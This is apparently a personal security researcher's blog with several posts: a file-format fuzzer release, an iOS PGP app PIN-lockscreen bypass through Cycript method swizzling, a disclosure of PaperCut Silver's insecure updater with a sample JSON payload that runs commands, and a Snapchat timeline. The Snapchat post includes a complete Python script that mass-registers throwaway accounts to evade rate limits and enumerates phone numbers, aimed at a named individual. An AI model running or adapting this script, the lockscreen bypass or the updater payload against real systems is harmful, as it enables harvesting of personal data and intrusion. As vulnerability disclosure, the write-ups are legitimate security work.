Neuebits

A blog by Graham Smith

New York

I decided to open source my basic file format fuzzer. It needs some work, however, it is capable of producing meaningful crashes. Enjoy!

Configuration

There are several things that must be done to setup New York.

First of all, you will need to edit debug.bat to replace <command> with the command you want to run. Feel free to move around %1, which is the filename argument passed from nyc.go. It is only placed where it is based on standard command line calling convention. An example of how debug.bat might look is as follows:

windbg -G -Q -c "$$><events.wds;g" "program.exe" %1

If the target process is in your path, feel free to shorten debug.bat to something like this:

windbg -G -Q -c "$$><events.wds;g" program %1

No changes are necessary to nyc.go, cpu.bat, or events.wds, but they are simple enough to alter if need be.

Secondly, make sure before running nyc.exe that crash.log does not exist in the same directory as the New York executable.

Third, you must have !exploitable installed properly.

Lastly, you will need a fileset. My scraper isn’t up to par at the moment, but scraping mmnt.ru should suffice, especially when searching for obscure filetypes that aren’t necessarily indexed by the major search engines. Your best bet is creating a minset by tracing codepaths with a tool such as RunTracer.

Compilation

No external dependencies are required. Ensure you have the latest version of Go installed (version 1.5 at the time of writing). Versions 1.5+ have support for non-bootstrapped cross-compilation, so compiling on your host for use within a x86 or x64 VM should be no problem. To compile for your default architecture, run the following:

go build neuebits.com/neuegram/newyork

In order to cross-compile, you must set the environment variables GOOS and GOARCH to the corresponding values for the target. Then you may continue with running the command above.

Usage

Generic: nyc.exe <target process> <minset> <filetype> <timeout>

Example: nyc.exe program.exe minset .mp3 10

Process Termination

It’s important to note that if <timeout> <= 0, then the process will be terminated when the process’ CPU usage is 0. Otherwise, the process will be terminated after it has been detected as running (CPU usage not 0 or -1), in addition to the specified delay.

TODO

  • Log errors to a file
  • Central server distribution of mutations
  • Central server controlled rolling restarts
  • Implement different methods for “dumb” fuzzing / mutation
  • Protocol fuzzing (in real time and from pcaps)
  • Linux support
  • Mac OS support
  • A lot more…

Contact / Hire Me

Email Me: neuegram@gmail.com. Prefer PGP? 0x8ef4855f90493ec0

An Introduction to Cycript: Bypassing iPGMail’s Lockscreen

I had promised myself earlier in the year I would find the time to learn more about reverse-engineering iOS applications. For convenience, I use iOS when capturing packets, and Android for static analysis, instrumentation, and swizzling. With a little post-Thanksgiving free time on my hands, I figured why not spend some of it playing around with Cycript.I thought I would write a simple introduction based off of my own first experience with Cycript.

I decided to target iPGMail, a PGP client for iOS that hides behind its own lockscreen.

I began by launching iPGMail, which prompted me for my previously established PIN in order to access the rest of the app. At this point, I tested to make sure that an invalid PIN would be rejected. Wanting to find the function call that performed this validation, I created a dump of the decrypted binary using Clutch iPGMail. Clutch is a tool to dump a decrypted binary for third-party apps. I then unzipped the resulting .IPA to a new folder with unzip iPGMail.ipa -d iPGMail.

From here, I used class-dump-z -H iPGMail/Payload/ipgmail.app/ipgmail -o iPGMailHeaders to dump the class headers to a new folder. Searching through the contents of the resulting headers, I discovered the function responsible for PIN validation (-(BOOL)checkPin:(id)pin) within iPGMailAppDelegate.h. I swizzled its message implementation by using cycript -p ipgmail to attach and iPGMailAppDelegate.messages['checkPin:'] = function() { return true; } to guarantee that any provided PIN would suffice.

Overall, Cycript is an extremely helpful tool to have around and is great for testing jailbreak tweaks among other things. Also, check out Frida. Both can be used without a jailbreak and I definitely see myself becoming a frequent user of these tools.

PaperCut’s Silver: A Common Mistake in Software Updates

Something that has recently caught my attention is poor security practices in regard to software updates. One of the best things you can do to protect yourself is to update your software, but what happens when automatic or manual updates themselves open you up to other attacks?

Take for example Silver, an open-source project from PaperCut, creators of print management software “used by over 50,000 organizations worldwide.” I am told that “the project that uses Silver is not public yet - [Papercut] plan[s] to launch next year.” Let’s examine PaperCut plans to use Silver to “host an agent service installed at customer sites that needs to operate reliably with zero on-site maintenance and configuration.”

Looking through updater.go, we spot a function of interest:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
func setupHTTPProxy() {
  if len(*httpProxy) > 0 {
      os.Setenv("HTTP_PROXY", *httpProxy)
      return
  }
  var proxy = ""
  if dat, err := ioutil.ReadFile("http-proxy.conf"); err == nil {
      proxy = strings.TrimSpace(string(dat))
  }
  if proxy != "" {
      os.Setenv("HTTP_PROXY", proxy)
      return
  }
}

From here, we assume that any requests being made (at least from within updater.go) are being made over HTTP (there are various other reasons). Moving on, we notice another function of interest:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
func checkUpdate(url string, currentVer string) (*UpgradeInfo, error) {
  client := &http.Client{}
  req, err := http.NewRequest("GET", url+"?version="+currentVer, nil)
  if err != nil {
      return nil, err
  }
  req.Header.Set("User-Agent", "Update Check")

  res, err := client.Do(req)
  if err != nil {
      return nil, err
  }
  defer res.Body.Close()

  if res.StatusCode == http.StatusNotModified {
      return nil, nil
  }

  dec := json.NewDecoder(res.Body)
  var info UpgradeInfo
  err = dec.Decode(&info)
  if err != nil {
      return nil, errors.New(fmt.Sprintf("Unable to parse JSON at %s : %v", url, err))
  }

  if info.Version != "" && info.Version == currentVer {
      // Same version!
      return nil, nil
  }

  return &info, nil
}

If we were to MITM the request made by checkUpdate(), we can force an update / downgrade by supplying a malicious JSON response with any version different than the current version running on the system. A quick xref for checkUpdate() reveals a single call made by the following function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
func upgradeIfRequired() (upgraded bool, err error) {
  currentVer := readCurrentVersion()
  if len(*overrideVersion) > 0 {
      currentVer = *overrideVersion
  }

  // Ping update URL
  upgradeInfo, err := checkUpdate(checkURL, currentVer)
  if err != nil {
      return false, err
  }

  if upgradeInfo == nil || upgradeInfo.URL == "" {
      // No upgrade required
      return false, nil
  }

  // Download
  fmt.Printf("Downloading version %s update from %s ...\n",
      upgradeInfo.Version,
      upgradeInfo.URL)

  zipfile, err := download(upgradeInfo.URL)
  if err != nil {
      return false, err
  }
  defer os.Remove(zipfile)

  if size, err := fileSize(zipfile); err == nil {
      fmt.Printf("Download complete (%d bytes).\n", size)
  }

  // Validate checksum if provided
  var fileSum string
  var requiredSum string
  switch {
  case len(upgradeInfo.Sha256) > 0:
      requiredSum = upgradeInfo.Sha256
      fileSum = checksum("sha256", zipfile)
  case len(upgradeInfo.Sha1) > 0:
      requiredSum = upgradeInfo.Sha1
      fileSum = checksum("sha1", zipfile)
  case len(upgradeInfo.Md5) > 0:
      requiredSum = upgradeInfo.Md5
      fileSum = checksum("md5", zipfile)
  }

  if len(requiredSum) > 0 && fileSum != requiredSum {
      return false, errors.New("Download checksum failed!")
  }

  // Unzip
  fmt.Println("Unzipping update ...")
  err = extractZip(zipfile, ".")
  if err != nil {
      return false, err
  }
  fmt.Println("Unzip complete.")

  // Perform any operations
  for _, op := range upgradeInfo.Operations {
      action := strings.ToLower(op.Action)
      var fn func([]string) error
      switch action {
      case "exec", "run":
          fn = execOp
      case "batchrename", "batch-rename":
          fn = batchRenameOp
      case "move", "mv":
          fn = moveOp
      case "copy", "cp":
          fn = copyOp
      case "remove", "rm", "del", "delete":
          fn = removeOp
      default:
          msg := fmt.Sprintf("Invalid operation action: '%s'", action)
          return false, errors.New(msg)
      }
      fmt.Printf("Performing operation '%s (%s)' ...\n",
          action, strings.Join(op.Args, ", "))
      if err := fn(op.Args); err != nil {
          msg := fmt.Sprintf("Operation failed with error: %v", err)
          return false, errors.New(msg)
      }
  }

  // Write version file
  ioutil.WriteFile(*versionFile, []byte(upgradeInfo.Version+"\n"), 0644)

  // Request service restart by writing the reload file into our root
  ioutil.WriteFile(".reload", []byte(""), 0644)

  // Success
  return true, nil
}

A malicious JSON response also allows us control of the download URL for the update / downgrade. Checksums are optional, although with a MITM that would not make the slightest difference. Not only that, but it seems we have quite a few options for (arbitrary) commands: exec / run, batchrename / batch-rename, move / mv, copy / cp, remove / rm / del / delete. We see that the exec / run opcode triggers a call to the following function:

1
2
3
4
5
6
7
8
9
10
11
12
13
func execOp(args []string) (err error) {
  if len(args) < 1 {
      return errors.New("Invalid exec operation format - arg expected.")
  }
  cmd := args[0]
  fmt.Printf("Running install command: %s\n", strings.Join(args, " "))
  os.Chmod(cmd, 0755)
  c := exec.Command(cmd, args[1:]...)
  c.Stdout = os.Stdout
  c.Stderr = os.Stderr
  err = c.Run()
  return err
}

Therefore, a malicious JSON response like the following could pop calc.exe:

1
2
3
4
5
6
7
8
9
10
{
    "url": "http://localhost:8080/malicious.zip",
    "version": "0",
    "operations": [
        {
            "action": "exec",
            "args": ["calc.exe", ""]
        }
    ]
}

Snapchat Security

Donate

I’d like to express my gratitude to the following people, whom I couldn’t have done this without. Please consider donating to them.

Rate Limit Workaround (Patched)

(sna.py) download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from hashlib import sha256
import json
import random
import requests
import string
import time

SECRET = b'iEk21fuwZApXlz93750dmW22pw389dPwOk'
STATIC_TOKEN = 'm198sOkJEn37DjqZ32lpRu76xmw288xSQ9'
HASH_PATTERN = '0001110111101110001111010101111011010001001110011000110001000110'

def timestamp():
    return int(round(time.time() * 1000))

def hash256(var1, var2):
    h1 = sha256(SECRET + var1.encode('utf-8')).hexdigest()
    h2 = sha256(var2.encode('utf-8') + SECRET).hexdigest()
    result = ''
    for i in range(0, len(h1)):
        result += h2[i] if HASH_PATTERN[i] is "1" else h1[i]
    return result

def req_token(auth_token):
    return hash256(auth_token, str(timestamp()))

def register(email, password, birthday, time_zone='US/Pacific'):
    data = {'email': email,
            'password': password,
            'birthday': birthday,
            'timestamp': timestamp(),
            'req_token': req_token(STATIC_TOKEN),
            'time_zone': time_zone}
    req = requests.post('https://feelinsonice-hrd.appspot.com/bq/register', data)
    return req

def register_username(username, email):
    data = {'username': username,
            'email': email,
            'timestamp': timestamp(),
            'req_token': req_token(STATIC_TOKEN)}
    req = requests.post('https://feelinsonice-hrd.appspot.com/bq/registeru', data)
    return req

def random_user(length=15):
    # Random username/email generator
    username = ''.join( [random.choice(string.ascii_letters) for i in range(length)] )
    email = username + '@snapchat.com'
    # Must satisfy password requirements
    req = register(email, 'abcdefgh', '1337-11-11', 'US/Chicago')
    req2 = register_username(username, email)
    # Make sure registration requests go through
    time.sleep(0.05)
    return req2

def find_friend(username, auth_token, name, number, country_code='US'):
    data = {'username': username,
            'timestamp': timestamp(),
            'req_token': req_token(auth_token),
            'countryCode': country_code}
    n = json.dumps({number: name})
    data = dict(data, numbers=n)
    req = requests.post('https://feelinsonice-hrd.appspot.com/bq/find_friends', data=data, headers={'User-Agent': None})
    return req

def search(name, out, start, stop):
    with open(out, 'w') as f:
        for number in range(start, stop):
            # New user for each iteration to circumvent rate-limiting
            new_user = random_user()
            while 'auth_token' not in new_user.text:
                new_user = random_user()
            req = find_friend(new_user.json()['username'], new_user.json()['auth_token'], name, number)
            f.write(str(dict(number=number, result=req.text)))

search('Evan Spiegel', 'numbers.txt', 3100000000, 3110000000)

Timeline

December 25, 2013 - GibsonSec releases Snapchat docs, including details of Find Friends vulnerablility

December 27, 2013 - Snapchat issues statement saying they have fixed the vulnerability, but they really hadn’t

December 31, 2013 - Snapchatdb.info releases database of 4.6M usernames along with 8-digits of their assosciated phone

January 2, 2013 - Snapchat issues statement about snapchatdb.info, says:

We will be releasing an updated version of the Snapchat application that will allow Snapchatters to opt out of appearing in Find Friends after they have verified their phone number. We’re also improving rate limiting and other restrictions to address future attempts to abuse our service.

January 3, 2014 (10:45PM PST) - I reached out to Snapchat because of a flaw that left Find Friends vulnerable in spite of rate limiting and other quick-fixes they made

January 3, 2014 (11:38PM PST) - Micah Schaffer promptly replies on behalf of Snapchat, “willing” to work on fixing the problem

January 7, 2014 - After several days of radio silence from Snapchat and no clear signs that they were working on a fix, I decided to take the matters into my own hands. I found Bobby Murphy (Co-Founder & CTO @ Snapchat) in the database released by snapchatdb.info, his number appearing with a simple query for the username bobby. Doubtful that Snapchat was working on a fix, I used the vulnerability to confirm the last two digits of his phone number in a matter of seconds.

January 7, 2014 (3:39PM PST) - I decided to call Bobby, only to receive his voicemail. I texted him. Hey Bobby. He texted back. Who is this? So I filled him in on the details and was told to send him an email and he’d see what he could do.

January 10, 2014 (2:00PM PST) – I had an interview at Snapchat for a position as software engineer. This was for an open position and I was competing against college students, mostly junior-year CS majors (probably) from top-tier schools. I had this interview thanks to Bobby, but I completely wasted the time of their poor Android engineer, Nic. When it came to the programming challenge, all I had to do was validate a Sudoku board, which was stored in a 2D array. The challenge was quite simple, in fact, I had solved it before in the past. However, I had never interviewed for a job before, let alone done a programming interview. I cracked under pressure. Wasted both of our time. Yet somehow, as soon as our Google Hangout ended, I was able to solve that programming challenge in under five minutes. Overall, the process was a good experience because I learned a little about myself and about programming interviews. January 13, 2014 - I began looking into Snapchat’s ”updated version of the Snapchat application that will allow Snapchatters to opt out of appearing in Find Friends after they have verified their phone number.” As it turns out, phone number verification is only an in-app requirement. There wasn’t a single server-side check to see if an account has been validated, meaning you can programmatically use Find Friends on a brand-new account, no phone number verification required. Additionally, forcing users to verify phone numbers before using Find Friends or opting-out of Find Friends defeats the intended purpose of the validation. Therefore, if users validate without opting-out or the Snapchat database is hacked, then every user that ever validates could have their phone number compromised.

January 13, 2014 (2:57PM PST) - After texting Bobby, he acknowledged that they don’t make a server-side check.

January 17, 2014 - Snapchat begins enforcing server-side phone number validation before letting accounts use the Find Friends service.

January 19, 2014 - I’m not completely positive this is the correct date, but I’ve heard that this is the date that Snapchat decidedly rolled out SNAPTCHA. SNAPTCHA is an obscure and fun version of the CAPTCHA that has users confirm they are human by selecting a photo that contains the famous Snapchat “ghost” logo.

January 22, 2014 - I completed my script for solving SNAPTCHA’s, but have no plans on releasing the code because I don’t want to be held responsible for a second dump of users’ phone numbers